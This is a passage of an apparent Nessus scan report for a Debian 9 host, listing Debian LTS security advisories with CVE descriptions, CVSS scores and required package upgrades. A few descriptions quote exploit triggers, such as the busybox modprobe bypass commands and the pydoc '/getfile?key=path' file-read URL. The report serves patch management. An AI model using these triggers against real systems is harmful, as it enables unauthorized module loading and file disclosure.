Remote package installed : libopenjp2-7_2.1.2-1.1+deb9u3
Should be : libopenjp2-7_2.1.2-1.1+deb9u6
```

146504 - Debian DLA-2559-1 : busybox security update -

Synopsis

The remote Debian host is missing a security update.

Description

Busybox, utility programs for small and embedded systems, was affected by several security vulnerabilities. The Common Vulnerabilities and Exposures project identifies the following issues.

CVE-2011-5325

A path traversal vulnerability was found in Busybox implementation of tar. tar will extract a symlink that points outside of the current working directory and then follow that symlink when extracting other files. This allows for a directory traversal attack when extracting untrusted tarballs.

CVE-2013-1813

When device node or symlink in /dev should be created inside 2-or-deeper subdirectory (/dev/dir1/dir2.../node), the intermediate directories are created with incorrect permissions.

CVE-2014-4607

An integer overflow may occur when processing any variant of a 'literal run' in the lzo1x_decompress_safe function. Each of these three locations is subject to an integer overflow when processing zero bytes. This exposes the code that copies literals to memory corruption.

CVE-2014-9645

The add_probe function in modutils/modprobe.c in BusyBox allows local users to bypass intended restrictions on loading kernel modules via a / (slash) character in a module name, as demonstrated by an 'ifconfig /usbserial up' command or a 'mount -t /snd_pcm none /' command.

CVE-2016-2147

Integer overflow in the DHCP client (udhcpc) in BusyBox allows remote attackers to cause a denial of service (crash) via a malformed RFC1035-encoded domain name, which triggers an out-of-bounds heap write.

CVE-2016-2148

Heap-based buffer overflow in the DHCP client (udhcpc) in BusyBox allows remote attackers to have unspecified impact via vectors involving OPTION_6RD parsing.

CVE-2017-15873

The get_next_block function in archival/libarchive /decompress_bunzip2.c in BusyBox has an Integer Overflow that may lead to a write access violation.

CVE-2017-16544

In the add_match function in libbb/lineedit.c in BusyBox, the tab autocomplete feature of the shell, used to get a list of filenames in a directory, does not sanitize filenames and results in executing any escape sequence in the terminal. This could potentially result in code execution, arbitrary file writes, or other attacks.

CVE-2018-1000517

BusyBox contains a Buffer Overflow vulnerability in Busybox wget that can result in a heap-based buffer overflow. This attack appears to be exploitable via network connectivity.

CVE-2015-9621

Unziping a specially crafted zip file results in a computation of an invalid pointer and a crash reading an invalid address.

For Debian 9 stretch, these problems have been fixed in version 1:1.22.0-19+deb9u1.

We recommend that you upgrade your busybox packages.

For the detailed security status of busybox please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/busybox

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00020.html
https://packages.debian.org/source/stretch/busybox
https://security-tracker.debian.org/tracker/source-package/busybox

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2011-5325
CVE	CVE-2015-9261
CVE	CVE-2016-2147
CVE	CVE-2016-2148
CVE	CVE-2017-15873
CVE	CVE-2017-16544
CVE	CVE-2018-1000517

Plugin Information

Published: 2021/02/16, Modified: 2024/01/22

Plugin Output

tcp/0

```
Remote package installed : busybox_1:1.22.0-19+b3
Should be : busybox_1:1.22.0-19+deb9u1
```

147532 - Debian DLA-2586-1 : linux security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks.

CVE-2019-19318, CVE-2019-19813, CVE-2019-19816

'Team bobfuzzer' reported bugs in Btrfs that could lead to a use-after-free or heap buffer overflow, and could be triggered by crafted filesystem images. A user permitted to mount and access arbitrary filesystems could use these to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2020-27815

A flaw was reported in the JFS filesystem code allowing a local attacker with the ability to set extended attributes to cause a denial of service.

CVE-2020-27825

Adam 'pi3' Zabrocki reported a use-after-free flaw in the ftrace ring buffer resizing logic due to a race condition, which could result in denial of service or information leak.

CVE-2020-28374

David Disseldorp discovered that the LIO SCSI target implementation performed insufficient checking in certain XCOPY requests. An attacker with access to a LUN and knowledge of Unit Serial Number assignments can take advantage of this flaw to read and write to any LIO backstore, regardless of the SCSI transport settings.

CVE-2020-29568 (XSA-349)

Michael Kurth and Pawel Wieczorkiewicz reported that frontends can trigger OOM in backends by updating a watched path.

CVE-2020-29569 (XSA-350)

Olivier Benjamin and Pawel Wieczorkiewicz reported a use-after-free flaw which can be triggered by a block frontend in Linux blkback. A misbehaving guest can

trigger a dom0 crash by continuously connecting / disconnecting a block frontend.

CVE-2020-29660

Jann Horn reported a locking inconsistency issue in the tty subsystem which may allow a local attacker to mount a read-after-free attack against TIOCGSID.

CVE-2020-29661

Jann Horn reported a locking issue in the tty subsystem which can result in a use-after-free. A local attacker can take advantage of this flaw for memory corruption or privilege escalation.

CVE-2020-36158

A buffer overflow flaw was discovered in the mwifiex WiFi driver which could result in denial of service or the execution of arbitrary code via a long SSID value.

CVE-2021-3178

吴异 reported an information leak in the NFSv3 server.
When only a subdirectory of a filesystem volume is exported, an NFS client listing the exported directory would obtain a file handle to the parent directory, allowing it to access files that were not meant to be exported.

Even after this update, it is still possible for NFSv3 clients to guess valid file handles and access files outside an exported subdirectory, unless the 'subtree_check' export option is enabled. It is recommended that you do not use that option but only export whole filesystem volumes.

CVE-2021-3347

It was discovered that PI futexes have a kernel stack use-after-free during fault handling. An unprivileged user could use this flaw to crash the kernel (resulting in denial of service) or for privilege escalation.

CVE-2021-26930 (XSA-365)

Olivier Benjamin, Norbert Manthey, Martin Mazein, and Jan H.
Schönherr discovered that the Xen block backend driver (xen-blkback) did not handle grant mapping errors correctly. A malicious guest could exploit this bug to cause a denial of service (crash), or possibly an information leak or privilege escalation, within the domain running the backend, which is typically dom0.

CVE-2021-26931 (XSA-362), CVE-2021-26932 (XSA-361), CVE-2021-28038 (XSA-367)

Jan Beulich discovered that the Xen support code and various Xen backend drivers did not handle grant mapping errors correctly. A malicious guest could exploit these bugs to cause a denial of service (crash) within the domain running the backend, which is typically dom0.

CVE-2021-27363

Adam Nichols reported that the iSCSI initiator subsystem did not properly restrict access to transport handle attributes in sysfs. On a system acting as an iSCSI initiator, this is an information leak to local users and makes it easier to exploit CVE-2021-27364.

CVE-2021-27364

Adam Nichols reported that the iSCSI initiator subsystem did not properly restrict access to its netlink management interface. On a system acting as an iSCSI initiator, a local user could use these to cause a denial of service (disconnection of storage) or possibly for privilege escalation.

CVE-2021-27365

Adam Nichols reported that the iSCSI initiator subsystem did not correctly limit the lengths of parameters or 'passthrough PDUs' sent through its netlink management interface. On a system acting as an iSCSI initiator, a local user could use these to leak the contents of kernel memory, to cause a denial of service (kernel memory corruption or crash), and probably for privilege escalation.

For Debian 9 stretch, these problems have been fixed in version 4.9.258-1.

We recommend that you upgrade your linux packages.

For the detailed security status of linux please refer to its security tracker page at: https://security-tracker.debian.org/tracker/linux

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/03/msg00010.html
https://packages.debian.org/source/stretch/linux
https://security-tracker.debian.org/tracker/source-package/linux

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-19318
CVE	CVE-2019-19813
CVE	CVE-2019-19816
CVE	CVE-2020-27815
CVE	CVE-2020-27825
CVE	CVE-2020-28374
CVE	CVE-2020-29568
CVE	CVE-2020-29569
CVE	CVE-2020-29660
CVE	CVE-2020-29661
CVE	CVE-2020-36158
CVE	CVE-2021-26930
CVE	CVE-2021-26931
CVE	CVE-2021-26932
CVE	CVE-2021-27363
CVE	CVE-2021-27364
CVE	CVE-2021-27365
CVE	CVE-2021-28038
CVE	CVE-2021-3178
CVE	CVE-2021-3347

Plugin Information

Published: 2021/03/10, Modified: 2024/01/16

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.258-1

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

147775 - Debian DLA-2593-1 : ca-certificates whitelist Symantec CA -

Synopsis

The remote Debian host is missing a security update.

Description

This update reverts the Symantec CA blacklist (which was originally #911289). The following root certificates were added back (+) :

+ 'GeoTrust Global CA'

+ 'GeoTrust Primary Certification Authority'

+ 'GeoTrust Primary Certification Authority - G2'

+ 'GeoTrust Primary Certification Authority - G3'

+ 'GeoTrust Universal CA'

+ 'thawte Primary Root CA'

+ 'thawte Primary Root CA - G2'

+ 'thawte Primary Root CA - G3'

+ 'VeriSign Class 3 Public Primary Certification Authority
- G4'

+ 'VeriSign Class 3 Public Primary Certification Authority
- G5'

+ 'VeriSign Universal Root Certification Authority'

NOTE: due to bug #743339, CA certificates added back in this version won't automatically be trusted again on upgrade. Affected users may need to reconfigure the package to restore the desired state.

For Debian 9 stretch, this problem has been fixed in version 20200601~deb9u2.

We recommend that you upgrade your ca-certificates packages.

For the detailed security status of ca-certificates please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/ca-certificates

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/03/msg00016.html
https://packages.debian.org/source/stretch/ca-certificates
http://www.nessus.org/u?c9932d96

Solution

Upgrade the affected packages.

Risk Factor

High

Plugin Information

Published: 2021/03/15, Modified: 2021/03/15

Plugin Output

tcp/0

```
Remote package installed : ca-certificates_20161130+nmu1+deb9u1
Should be : ca-certificates_20200601~deb9u2
```

147813 - Debian DLA-2596-1 : shadow security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were discovered in the shadow suite of login tools. An attacker may escalate privileges in specific configurations.

CVE-2017-20002

Shadow incorrectly lists pts/0 and pts/1 as physical terminals in /etc/securetty. This allows local users to login as password-less users even if they are connected by non-physical means such as SSH (hence bypassing PAM's nullok_secure configuration). This notably affects environments such as virtual machines automatically generated with a default blank root password, allowing all local users to escalate privileges. It should be noted however that /etc/securetty will be dropped in Debian 11/bullseye.

CVE-2017-12424

The newusers tool could be made to manipulate internal data structures in ways unintended by the authors. Malformed input may lead to crashes (with a buffer overflow or other memory corruption) or other unspecified behaviors. This crosses a privilege boundary in, for example, certain web-hosting environments in which a Control Panel allows an unprivileged user account to create subaccounts.

For Debian 9 stretch, these problems have been fixed in version 1:4.4-4.1+deb9u1.

We recommend that you upgrade your shadow packages.

For the detailed security status of shadow please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/shadow

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/03/msg00020.html
https://packages.debian.org/source/stretch/shadow
https://security-tracker.debian.org/tracker/source-package/shadow

Solution

Upgrade the affected login, passwd, and uidmap packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-12424
CVE	CVE-2017-20002

Plugin Information

Published: 2021/03/16, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : login_1:4.4-4.1
Should be : login_1:4.4-4.1+deb9u1
Remote package installed : passwd_1:4.4-4.1
Should be : passwd_1:4.4-4.1+deb9u1
```

148053 - Debian DLA-2605-1 : mariadb-10.1 security update -

Synopsis

The remote Debian host is missing a security update.

Description

A remote code execution issue was discovered in MariaDB. An untrusted search path leads to eval injection, in which a database SUPER user can execute OS commands after modifying wsrep_provider and wsrep_notify_cmd.

For Debian 9 stretch, this problem has been fixed in version 10.1.48-0+deb9u2.

We recommend that you upgrade your mariadb-10.1 packages.

For the detailed security status of mariadb-10.1 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/mariadb-10.1

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/03/msg00028.html
https://packages.debian.org/source/stretch/mariadb-10.1
http://www.nessus.org/u?708f0173

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.2 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-27928

Plugin Information

Published: 2021/03/24, Modified: 2021/04/16

Plugin Output

tcp/0

```
Remote package installed : libmariadbclient18_10.1.37-0+deb9u1
Should be : libmariadbclient18_10.1.48-0+deb9u2
Remote package installed : mariadb-client-10.1_10.1.37-0+deb9u1
Should be : mariadb-client-10.1_10.1.48-0+deb9u2
Remote package installed : mariadb-client-core-10.1_10.1.37-0+deb9u1
Should be : mariadb-client-core-10.1_10.1.48-0+deb9u2
Remote package installed : mariadb-common_10.1.37-0+deb9u1
Should be : mariadb-common_10.1.48-0+deb9u2
Remote package installed : mariadb-server-10.1_10.1.37-0+deb9u1
Should be : mariadb-server-10.1_10.1.48-0+deb9u2
Remote package installed : mariadb-server-core-10.1_10.1.37-0+deb9u1
Should be : mariadb-server-core-10.1_10.1.48-0+deb9u2
```

148322 - Debian DLA-2619-1 : python3.5 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Three security issues have been discovered in python3.5 :

CVE-2021-3177

Python 3.x has a buffer overflow in PyCArg_repr in _ctypes/callproc.c, which may lead to remote code execution in certain Python applications that accept floating-point numbers as untrusted input. This occurs because sprintf is used unsafely.

CVE-2021-3426

Running `pydoc -p` allows other local users to extract arbitrary files. The `/getfile?key=path` URL allows to read arbitrary file on the filesystem.

The fix removes the 'getfile' feature of the pydoc module which could be abused to read arbitrary files on the disk (directory traversal vulnerability).

CVE-2021-23336

The Python3.5 vulnerable to Web Cache Poisoning via urllib.parse.parse_qsl and urllib.parse.parse_qs by using a vector called parameter cloaking. When the attacker can separate query parameters using a semicolon (;), they can cause a difference in the interpretation of the request between the proxy (running with default configuration) and the server. This can result in malicious requests being cached as completely safe ones, as the proxy would usually not see the semicolon as a separator, and therefore would not include it in a cache key of an unkeyed parameter.

Attention, API-change! Please be sure your software is working properly if it uses `urllib.parse.parse_qs` or `urllib.parse.parse_qsl`, `cgi.parse` or `cgi.parse_multipart`.

Earlier Python versions allowed using both ``;`` and ``&`` as query parameter separators in `urllib.parse.parse_qs` and `urllib.parse.parse_qsl`. Due to security concerns, and to conform with newer W3C recommendations, this has been changed to allow only a single separator key, with ``&`` as the default. This change also affects `cgi.parse` and `cgi.parse_multipart` as they use the affected functions internally. For more details, please see their respective documentation.

For Debian 9 stretch, these problems have been fixed in version 3.5.3-1+deb9u4.

We recommend that you upgrade your python3.5 packages.

For the detailed security status of python3.5 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/python3.5

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/04/msg00005.html
https://packages.debian.org/source/stretch/python3.5
https://security-tracker.debian.org/tracker/source-package/python3.5

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-23336
CVE	CVE-2021-3177
CVE	CVE-2021-3426

Plugin Information

Published: 2021/04/06, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : libpython3.5-minimal_3.5.3-1+deb9u1
Should be : libpython3.5-minimal_3.5.3-1+deb9u4
Remote package installed : libpython3.5-stdlib_3.5.3-1+deb9u1
Should be : libpython3.5-stdlib_3.5.3-1+deb9u4
Remote package installed : python3.5_3.5.3-1+deb9u1
Should be : python3.5_3.5.3-1+deb9u4
Remote package installed : python3.5-minimal_3.5.3-1+deb9u1
Should be : python3.5-minimal_3.5.3-1+deb9u4
```

149372 - Debian DLA-2653-1 : libxml2 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were discovered in libxml2, a library providing support to read, modify and write XML and HTML files, which could cause denial of service via application crash when parsing specially crafted files.

For Debian 9 stretch, these problems have been fixed in version 2.9.4+dfsg1-2.2+deb9u4.

We recommend that you upgrade your libxml2 packages.

For the detailed security status of libxml2 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libxml2

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/05/msg00008.html
https://packages.debian.org/source/stretch/libxml2
https://security-tracker.debian.org/tracker/source-package/libxml2

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

CVE	CVE-2021-3516
CVE	CVE-2021-3517
CVE	CVE-2021-3518
CVE	CVE-2021-3537

Plugin Information

Published: 2021/05/11, Modified: 2024/01/16

Plugin Output

tcp/0

```
Remote package installed : libxml2_2.9.4+dfsg1-2.2+deb9u2
Should be : libxml2_2.9.4+dfsg1-2.2+deb9u4
```

149460 - Debian DLA-2657-1 : lz4 security update -

Synopsis

The remote Debian host is missing a security update.

Description

It was discovered that there was a potential memory corruption vulnerability in the lz4 compression algorithm library.

For Debian 9 'Stretch', this problem has been fixed in version 0.0~r131-2+deb9u1.

We recommend that you upgrade your lz4 packages.

For the detailed security status of lz4 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/lz4

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/05/msg00012.html
https://packages.debian.org/source/stretch/lz4
https://security-tracker.debian.org/tracker/source-package/lz4

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2021-3520

Plugin Information

Published: 2021/05/13, Modified: 2021/06/15

Plugin Output

tcp/0

```
Remote package installed : liblz4-1_0.0~r131-2+b1
Should be : liblz4-1_0.0~r131-2+deb9u1
```

149889 - Debian DLA-2666-1 : libx11 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Roman Fiedler found that libX11, the X11 protocol client library, was vulnerable to protocol command injection due to insufficient validation of arguments to some functions.

For Debian 9 stretch, this problem has been fixed in version 2:1.6.4-3+deb9u4.

We recommend that you upgrade your libx11 packages.

For the detailed security status of libx11 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libx11

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/05/msg00021.html
https://packages.debian.org/source/stretch/libx11
https://security-tracker.debian.org/tracker/source-package/libx11

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-31535

Plugin Information

Published: 2021/05/25, Modified: 2021/06/14

Plugin Output

tcp/0

```
Remote package installed : libx11-6_2:1.6.4-3+deb9u1
Should be : libx11-6_2:1.6.4-3+deb9u4
Remote package installed : libx11-data_2:1.6.4-3+deb9u1
Should be : libx11-data_2:1.6.4-3+deb9u4
```

150173 - Debian DLA-2672-1 : libwebp security update -

Synopsis

The remote Debian host is missing a security update.

Description

Multiple security issues have been discovered in libwebp

CVE-2018-25009

An out-of-bounds read was found in function WebPMuxCreateInternal. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25010

An out-of-bounds read was found in function ApplyFilter. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25011

A heap-based buffer overflow was found in PutLE16(). The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2018-25012

An out-of-bounds read was found in function WebPMuxCreateInternal. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25013

An out-of-bounds read was found in function ShiftBytes. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25014

An unitialized variable is used in function ReadSymbol. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2020-36328

A heap-based buffer overflow in function WebPDecodeRGBInto is possible due to an invalid check for buffer size. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2020-36329

A use-after-free was found due to a thread being killed too early. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2020-36330

An out-of-bounds read was found in function ChunkVerifyAndAssign. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2020-36331

An out-of-bounds read was found in function ChunkAssignData. The highest threat from this vulnerability is to data confidentiality and to the service availability.

For Debian 9 stretch, these problems have been fixed in version 0.5.2-1+deb9u1.

We recommend that you upgrade your libwebp packages.

For the detailed security status of libwebp please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libwebp

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/06/msg00005.html
https://packages.debian.org/source/stretch/libwebp
https://security-tracker.debian.org/tracker/source-package/libwebp

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-25009
CVE	CVE-2018-25010
CVE	CVE-2018-25011
CVE	CVE-2018-25012
CVE	CVE-2018-25013
CVE	CVE-2018-25014
CVE	CVE-2020-36328
CVE	CVE-2020-36329
CVE	CVE-2020-36330

CVE CVE-2020-36331

Plugin Information

Published: 2021/06/03, Modified: 2021/06/09

Plugin Output

tcp/0

```
Remote package installed : libwebp6_0.5.2-1
Should be : libwebp6_0.5.2-1+deb9u1
```

150301 - Debian DLA-2677-1 : libwebp security update -

Synopsis

The remote Debian host is missing a security update.

Description

Multiple security issues have been discovered in libwebp

CVE-2018-25009

An out-of-bounds read was found in function WebPMuxCreateInternal. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25010

An out-of-bounds read was found in function ApplyFilter. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25011

A heap-based buffer overflow was found in PutLE16(). The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2018-25012

An out-of-bounds read was found in function WebPMuxCreateInternal. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25013

An out-of-bounds read was found in function ShiftBytes. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2018-25014

An unitialized variable is used in function ReadSymbol. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2020-36328

A heap-based buffer overflow in function WebPDecodeRGBInto is possible due to an invalid check for buffer size. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2020-36329

A use-after-free was found due to a thread being killed too early. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2020-36330

An out-of-bounds read was found in function ChunkVerifyAndAssign. The highest threat from this vulnerability is to data confidentiality and to the service availability.

CVE-2020-36331

An out-of-bounds read was found in function ChunkAssignData. The highest threat from this vulnerability is to data confidentiality and to the service availability.

For Debian 9 stretch, these problems have been fixed in version 0.5.2-1+deb9u1.

We recommend that you upgrade your libwebp packages.

For the detailed security status of libwebp please refer to its security tracker page at:

https://security-tracker.debian.org/tracker/libwebp

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/06/msg00006.html
https://packages.debian.org/source/stretch/libwebp
https://security-tracker.debian.org/tracker/source-package/libwebp

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-25009
CVE	CVE-2018-25010
CVE	CVE-2018-25011
CVE	CVE-2018-25012
CVE	CVE-2018-25013
CVE	CVE-2018-25014
CVE	CVE-2020-36328
CVE	CVE-2020-36329
CVE	CVE-2020-36330
CVE	CVE-2020-36331

Plugin Information

Published: 2021/06/07, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : libwebp6_0.5.2-1
Should be : libwebp6_0.5.2-1+deb9u1
```

150985 - Debian DLA-2689-1 : linux security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to the execution of arbitrary code, privilege escalation, denial of service, or information leaks.

This update is not yet available for the armel (ARM EABI soft-float) architecture.

CVE-2020-24586, CVE-2020-24587, CVE-2020-26147

Mathy Vanhoef discovered that many Wi-Fi implementations, including Linux's mac80211, did not correctly implement reassembly of fragmented packets. In some circumstances, an attacker within range of a network could exploit these flaws to forge arbitrary packets and/or to access sensitive data on that network.

CVE-2020-24588

Mathy Vanhoef discovered that most Wi-Fi implementations, including Linux's mac80211, did not authenticate the 'is aggregated' packet header flag. An attacker within range of a network could exploit this to forge arbitrary packets on that network.

CVE-2020-25670, CVE-2020-25671, CVE-2021-23134

kiyin (尹亮) of TenCent discovered several reference counting bugs in the NFC LLCP implementation which could lead to use-after-free. A local user could exploit these for denial of service (crash or memory corruption) or possibly for privilege escalation.

Nadav Markus and Or Cohen of Palo Alto Networks discovered that the original fixes for these introduced a new bug that could result in use-after-free and double-free. This has also been fixed.

CVE-2020-25672

kiyin (尹亮) of TenCent discovered a memory leak in the NFC LLCP implementation. A local user could exploit this for denial of service (memory exhaustion).

CVE-2020-26139

Mathy Vanhoef discovered that a bug in some Wi-Fi implementations, including Linux's mac80211. When operating in AP mode, they would forward EAPOL frames from one client to another while the sender was not yet authenticated. An attacker within range of a network could use this for denial of service or as an aid to exploiting other vulnerabilities.

CVE-2020-26558, CVE-2021-0129

Researchers at ANSSI discovered vulnerabilities in the Bluetooth Passkey authentication method, and in Linux's implementation of it. An attacker within range of two Bluetooth devices while they pair using Passkey authentication could exploit this to obtain the shared secret (Passkey) and then impersonate either of the devices to each other.

CVE-2020-29374

Jann Horn of Google reported a flaw in Linux's virtual memory management. A parent and child process initially share all their memory, but when either writes to a shared page, the page is duplicated and unshared (copy-on-write). However, in case an operation such as vmsplice() required the kernel to take an additional reference to a shared page, and a copy-on-write occurs during this operation, the kernel might have accessed the wrong process's memory. For some programs, this could lead to an information leak or data corruption.

CVE-2020-36322, CVE-2021-28950

The syzbot tool found that the FUSE (filesystem-in-user-space) implementation did not correctly handle a FUSE server returning invalid attributes for a file. A local user permitted to run a FUSE server could use this to cause a denial of service (crash).

